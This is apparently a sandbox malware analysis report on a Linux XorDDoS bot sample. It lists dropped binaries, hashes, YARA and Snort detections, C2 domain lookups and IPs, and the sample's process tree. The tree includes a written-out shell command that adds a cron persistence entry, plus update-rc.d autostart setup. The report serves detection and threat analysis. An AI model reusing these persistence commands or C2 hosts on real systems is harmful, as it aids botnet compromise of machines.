Entropy (8bit):	6.197494228576118
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojI:/fUywKQ7Fb1pNL/p5ZfjQn36EuI
MD5:	7CD491E3750C0E09A84213102078562C
SHA1:	5E18825B2D5F370AA7F396AD97BF6F61720F6009
SHA-256:	6845AD055D348D4FD25FE628F95589816E5FCD1EA132E6135DD695C80E6E7078
SHA-512:	A2715BE2FCEAEB581E87B0A40E1A9AA5D42D902FB593F96F58D529520564919C3FDC9335D38E72A9E834EA68B5FD010FE8182915589F25C963EF6793EBC6D37F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/qhknhggmjf, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/qhknhggmjf, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/qhknhggmjf, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/qhknhggmjf, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/thgxtutpuw

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.1974889780133
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eoj3:/fUywKQ7Fb1pNL/p5ZfjQn36Eu3
MD5:	DC66AC7EC93E0EC52D5B4C1039769DD1
SHA1:	45651D64886559C148C17C4BB112EAC57C977B7F
SHA-256:	17686455E843A06CA18F1948D42D740C743937BFDB496CD902CD95E324422B6F
SHA-512:	12D1DB69B6D6331E906D8B734EF9F06F38D2362C792DCF227DC057CFCC8E95F4EBE420B2CA051840B9DF7D22FC4997BC59897FBABBF9B83FF787AD37D0291AB6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/thgxtutpuw, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/thgxtutpuw, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/thgxtutpuw, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/thgxtutpuw, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/uvilsmwwhk

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.197491544976262
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojP:/fUywKQ7Fb1pNL/p5ZfjQn36EuP
MD5:	599E094CFEBD26A090E3C4D84DEA2EEC
SHA1:	8AD77E8C05A8623054A80F640C4670B76D9F42B8
SHA-256:	16F56A5331DFEEFCA5BF910A76CC820D8C1FB168DFFB30E24E6289ECA3FD92DB
SHA-512:	AAA2307A0ECCBB2FFE3CA019E85076289176F88B014162251F68C27D3F0DD5FDC2BD32F7B81A4E324509C366FDA07B0FBEC7A8A62DE931D1991850DE7781921A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/uvilsmwwhk, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/uvilsmwwhk, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/uvilsmwwhk, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/uvilsmwwhk, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/xmnjiktnas

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.1974888773600485
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojR:/fUywKQ7Fb1pNL/p5ZfjQn36EuR
MD5:	DDD43550BAD564E41B77604693A62617
SHA1:	36983000B0C2D566F99ADBE747247BAF5F6B677C
SHA-256:	B95746385BEE9C991BC23FCF36CDB42B9FDB3ADEC4506B76A5E567C1E46F35BB
SHA-512:	48E74097A90470AEF6E093ABAAA06ACC1050C2E87FB1B975FCA4D210A1286B10DCB338F210E51851707451F031A7A67202C141ED52ADDE007BEC93B43024D7CC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/xmnjiktnas, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/xmnjiktnas, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/xmnjiktnas, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/xmnjiktnas, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/zzdslzxygn

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.1974903145805404
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojV:/fUywKQ7Fb1pNL/p5ZfjQn36EuV
MD5:	8DC652FCADCE3231649681AE716B8941
SHA1:	7E85602671500AB341A0B13B79C2929D6CB9A3B3
SHA-256:	ABF38E38EDBFB853FAEFFFB813B48F8E6349A5528D23A03F05112880127DF0B0
SHA-512:	716EB94F360466BA5A3BFFF008B66BE117C4C3FC47C95EAE07039599C08B7282E8A2B0A2D4D5264DDFB288E620A437D9037D84A45254DCA7E970819F693E3D96
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/zzdslzxygn, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/zzdslzxygn, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/zzdslzxygn, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/zzdslzxygn, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/lib/libudev.so

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548616
Entropy (8bit):	6.197441759715553
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eoj:/fUywKQ7Fb1pNL/p5ZfjQn36Eu
MD5:	96671EAB0913C0003C63F4D2C50318DB
SHA1:	0EF56578885236F87AE7F1C7580B8ED50C9ADE77
SHA-256:	5A7D7F1D53F039E7B69CF8D040CC043D1264B14107A8A73034E6B90D8E81F87A
SHA-512:	198D02B0312A271E88A4C3749CB7B828FCFFD0FFB3327DC3E54C68953C99B03A0354192314E43691E0C02354A34D5CA074B0165568195D8ED0F6018B24857D82
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/lib/libudev.so, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/lib/libudev.so, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/lib/libudev.so, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/lib/libudev.so, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76% Antivirus: Metadefender, Detection: 61%, Browse
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Entropy (8bit):	6.197441759715553
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	Di1p3oLnDb.elf
File size:	548616
MD5:	96671eab0913c0003c63f4d2c50318db
SHA1:	0ef56578885236f87ae7f1c7580b8ed50c9ade77
SHA256:	5a7d7f1d53f039e7b69cf8d040cc043d1264b14107a8a73034e6b90d8e81f87a
SHA512:	198d02b0312a271e88a4c3749cb7b828fcffd0ffb3327dc3e54c68953c99b03a0354192314e43691e0c02354a34d5ca074b0165568195d8ed0f6018b24857d82
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eoj:/fUywKQ7Fb1pNL/p5ZfjQn36Eu
TLSH:	ADC45C56E283E2F7C82705B0134BF7BF4620B6359461CD86B7989D5AB9338F22A4D353
File Content Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts.......................... ... ................I..............@...........Q.td........................................GNU.................U......5...

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.note.ABI-tag	NOTE	0x80480d4	0xd4	0x20	0x0	0x2	A	4
.init	PROGBITS	0x80480f4	0xf4	0x17	0x0	0x6	AX	4
.text	PROGBITS	0x8048110	0x110	0x681f8	0x0	0x6	AX	16
__libc_freeres_fn	PROGBITS	0x80b0310	0x68310	0x100f	0x0	0x6	AX	16
__libc_thread_freeres_fn	PROGBITS	0x80b1320	0x69320	0x1db	0x0	0x6	AX	16
.fini	PROGBITS	0x80b14fc	0x694fc	0x1c	0x0	0x6	AX	4
.rodata	PROGBITS	0x80b1520	0x69520	0x152e0	0x0	0x2	A	32
__libc_subfreeres	PROGBITS	0x80c6800	0x7e800	0x30	0x0	0x2	A	4
__libc_atexit	PROGBITS	0x80c6830	0x7e830	0x4	0x0	0x2	A	4
__libc_thread_subfreeres	PROGBITS	0x80c6834	0x7e834	0x8	0x0	0x2	A	4
.eh_frame	PROGBITS	0x80c683c	0x7e83c	0x60a0	0x0	0x2	A	4
.gcc_except_table	PROGBITS	0x80cc8dc	0x848dc	0x11b	0x0	0x2	A	1
.tdata	PROGBITS	0x80cd9f8	0x849f8	0x14	0x0	0x403	WAT	4
.tbss	NOBITS	0x80cda0c	0x84a0c	0x2c	0x0	0x403	WAT	4
.ctors	PROGBITS	0x80cda0c	0x84a0c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80cda14	0x84a14	0xc	0x0	0x3	WA	4
.jcr	PROGBITS	0x80cda20	0x84a20	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x80cda24	0x84a24	0x2c	0x0	0x3	WA	4
.got	PROGBITS	0x80cda50	0x84a50	0x8	0x4	0x3	WA	4
.got.plt	PROGBITS	0x80cda58	0x84a58	0xc	0x4	0x3	WA	4
.data	PROGBITS	0x80cda80	0x84a80	0xb40	0x0	0x3	WA	32
.bss	NOBITS	0x80ce5c0	0x855c0	0x6778	0x0	0x3	WA	32
__libc_freeres_ptrs	NOBITS	0x80d4d38	0x855c0	0x14	0x0	0x3	WA	4
.comment	PROGBITS	0x0	0x855c0	0x422	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x859e2	0x116	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x849f7	0x849f7	6.2040	0x5	R E	0x1000	.note.ABI-tag .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table
LOAD	0x849f8	0x80cd9f8	0x80cd9f8	0xbc8	0x7354	3.6649	0x6	RW	0x1000	.tdata .tbss .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
NOTE	0xd4	0x80480d4	0x80480d4	0x20	0x20	1.7487	0x4	R	0x4	.note.ABI-tag
TLS	0x849f8	0x80cd9f8	0x80cd9f8	0x14	0x40	2.6610	0x4	R	0x4	.tdata .tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.238.8.8.838194532021326 10/05/22-13:40:01.525989	UDP	2021326	ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org)	38194	53	192.168.2.23	8.8.8.8
192.168.2.238.8.4.454576532021326 10/05/22-13:40:01.546076	UDP	2021326	ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org)	54576	53	192.168.2.23	8.8.4.4
192.168.2.231.1.1.159699532021326 10/05/22-13:40:01.563948	UDP	2021326	ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org)	59699	53	192.168.2.23	1.1.1.1
192.168.2.2379.137.1.1333916215232020381 10/05/22-13:40:01.726550	TCP	2020381	ET TROJAN DDoS.XOR Checkin	39162	1523	192.168.2.23	79.137.1.133

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 5, 2022 13:40:01.359556913 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 5, 2022 13:40:01.553626060 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:01.581432104 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:01.581590891 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:01.615633965 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 5, 2022 13:40:01.638042927 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:01.726356030 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:01.726550102 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:01.754393101 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:01.754522085 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:11.789994955 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:11.790249109 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:17.232305050 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 5, 2022 13:40:21.822247982 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:21.822371006 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:25.261373043 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:25.261648893 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:27.474272013 CEST	42836	443	192.168.2.23	91.189.91.43
Oct 5, 2022 13:40:31.566162109 CEST	42516	80	192.168.2.23	109.202.202.202
Oct 5, 2022 13:40:35.292542934 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:35.292745113 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:45.324980021 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:45.325136900 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:55.357033968 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:40:55.357264042 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:40:58.188617945 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 5, 2022 13:41:00.343568087 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:00.343755007 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:41:10.374357939 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:10.374507904 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:41:20.422395945 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:20.422476053 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:41:30.454622984 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:30.454843998 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:41:35.441399097 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:35.441734076 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:41:45.472073078 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:45.472219944 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:41:55.504920959 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:41:55.505079031 CEST	39162	1523	192.168.2.23	79.137.1.133
Oct 5, 2022 13:42:05.552196980 CEST	1523	39162	79.137.1.133	192.168.2.23
Oct 5, 2022 13:42:05.552372932 CEST	39162	1523	192.168.2.23	79.137.1.133

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 5, 2022 13:40:01.525989056 CEST	38194	53	192.168.2.23	8.8.8.8
Oct 5, 2022 13:40:01.533896923 CEST	40409	53	192.168.2.23	8.8.8.8
Oct 5, 2022 13:40:01.545794010 CEST	53	38194	8.8.8.8	192.168.2.23
Oct 5, 2022 13:40:01.546076059 CEST	54576	53	192.168.2.23	8.8.4.4
Oct 5, 2022 13:40:01.553262949 CEST	53	40409	8.8.8.8	192.168.2.23
Oct 5, 2022 13:40:01.563178062 CEST	53	54576	8.8.4.4	192.168.2.23
Oct 5, 2022 13:40:01.563947916 CEST	59699	53	192.168.2.23	1.1.1.1
Oct 5, 2022 13:40:01.729048014 CEST	53	59699	1.1.1.1	192.168.2.23
Oct 5, 2022 13:40:01.729336977 CEST	59699	53	192.168.2.23	1.1.1.1
Oct 5, 2022 13:40:01.746745110 CEST	53	59699	1.1.1.1	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 5, 2022 13:40:01.525989056 CEST	192.168.2.23	8.8.8.8	0x21e6	Standard query (0)	aa.hostasa.org	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.533896923 CEST	192.168.2.23	8.8.8.8	0x6481	Standard query (0)	ppp.gggatat456.com	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.546076059 CEST	192.168.2.23	8.8.4.4	0x304a	Standard query (0)	aa.hostasa.org	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.563947916 CEST	192.168.2.23	1.1.1.1	0xf99a	Standard query (0)	aa.hostasa.org	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.729336977 CEST	192.168.2.23	1.1.1.1	0xf99a	Standard query (0)	aa.hostasa.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 5, 2022 13:40:01.545794010 CEST	8.8.8.8	192.168.2.23	0x21e6	Name error (3)	aa.hostasa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.553262949 CEST	8.8.8.8	192.168.2.23	0x6481	No error (0)	ppp.gggatat456.com		79.137.1.133	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.553262949 CEST	8.8.8.8	192.168.2.23	0x6481	No error (0)	ppp.gggatat456.com		54.36.145.104	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.553262949 CEST	8.8.8.8	192.168.2.23	0x6481	No error (0)	ppp.gggatat456.com		54.36.15.97	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.553262949 CEST	8.8.8.8	192.168.2.23	0x6481	No error (0)	ppp.gggatat456.com		54.36.15.99	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.553262949 CEST	8.8.8.8	192.168.2.23	0x6481	No error (0)	ppp.gggatat456.com		54.36.145.106	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.553262949 CEST	8.8.8.8	192.168.2.23	0x6481	No error (0)	ppp.gggatat456.com		176.31.91.137	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.563178062 CEST	8.8.4.4	192.168.2.23	0x304a	Name error (3)	aa.hostasa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.729048014 CEST	1.1.1.1	192.168.2.23	0xf99a	Name error (3)	aa.hostasa.org	none	none	A (IP address)	IN (0x0001)	false
Oct 5, 2022 13:40:01.746745110 CEST	1.1.1.1	192.168.2.23	0xf99a	Name error (3)	aa.hostasa.org	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: Di1p3oLnDb.elf PID: 6224, Parent PID: 6130

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	/tmp/Di1p3oLnDb.elf
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6225, Parent PID: 6224

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6226, Parent PID: 6225

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6227, Parent PID: 6226

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6228, Parent PID: 6225

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6229, Parent PID: 6228

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: update-rc.d PID: 6229, Parent PID: 1860

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/sbin/update-rc.d
Arguments:	update-rc.d Di1p3oLnDb.elf defaults
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: update-rc.d PID: 6235, Parent PID: 6229

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/sbin/update-rc.d
Arguments:	n/a
File size:	3478464 bytes
MD5 hash:	16a21f464119ea7fad1d3660de963637

Chronological Activities

Analysis Process: systemctl PID: 6235, Parent PID: 6229

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6230, Parent PID: 6225

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: sh PID: 6230, Parent PID: 6225

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/bin/sh
Arguments:	sh -c "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6231, Parent PID: 6230

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 6231, Parent PID: 6230

General

Start time:	13:40:00
Start date:	05/10/2022
Path:	/bin/sed
Arguments:	sed -i /\\/etc\\/cron.hourly\\/gcc.sh/d /etc/crontab
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

